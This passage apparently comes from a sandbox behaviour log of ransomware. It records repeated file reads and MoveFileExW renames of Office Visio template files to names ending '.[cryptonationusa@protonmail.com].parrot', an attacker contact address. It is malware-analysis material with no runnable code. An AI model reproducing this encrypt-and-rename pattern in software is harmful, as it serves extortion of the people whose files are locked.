nNumberOfBytesToRead=0x81a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x81a00, lpOverlapped=0x0) returned 1 [0225.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.401] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.447] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.447] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7f800, lpOverlapped=0x0) returned 1 [0225.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.503] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.505] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e00, lpOverlapped=0x0) returned 1 [0225.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.520] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.520] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.522] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.522] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf7200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf7200, lpOverlapped=0x0) returned 1 [0225.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.601] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.602] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.603] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf5600, lpOverlapped=0x0) returned 1 [0225.686] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.736] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.738] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.738] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18200, lpOverlapped=0x0) returned 1 [0225.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRKRD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prkrd_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRKRD_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prkrd_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.821] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.821] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.828] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.828] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17e00, lpOverlapped=0x0) returned 1 [0225.833] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRKRD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prkrd_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRKRD_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prkrd_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.848] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.848] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.962] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.963] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4000, lpOverlapped=0x0) returned 1 [0225.965] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.973] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.973] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.974] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.975] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x63400, lpOverlapped=0x0) returned 1 [0225.988] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.142] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.142] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.143] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.143] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x63000, lpOverlapped=0x0) returned 1 [0226.167] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.335] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.335] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.336] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.336] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8f800, lpOverlapped=0x0) returned 1 [0226.384] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSAVL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prsavl_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSAVL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prsavl_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.422] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.422] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.431] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.431] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8e800, lpOverlapped=0x0) returned 1 [0226.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSAVL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prsavl_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSAVL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prsavl_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.564] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.564] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.566] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.567] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x51400, lpOverlapped=0x0) returned 1 [0226.588] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSSTS_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prssts_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSSTS_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prssts_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.628] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.628] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.630] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x50c00, lpOverlapped=0x0) returned 1 [0226.650] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSSTS_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prssts_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRSSTS_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prssts_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.703] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.705] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.705] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5e00, lpOverlapped=0x0) returned 1 [0226.760] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PSTRCT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pstrct_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PSTRCT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pstrct_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.769] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.769] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.771] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.771] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5c00, lpOverlapped=0x0) returned 1 [0226.773] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PSTRCT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pstrct_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PSTRCT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pstrct_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.781] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.783] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.783] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9a00, lpOverlapped=0x0) returned 1 [0226.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSCLD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptscld_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSCLD_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptscld_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.805] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.807] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa000, lpOverlapped=0x0) returned 1 [0226.808] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSCLD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptscld_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSCLD_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptscld_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.816] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.816] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 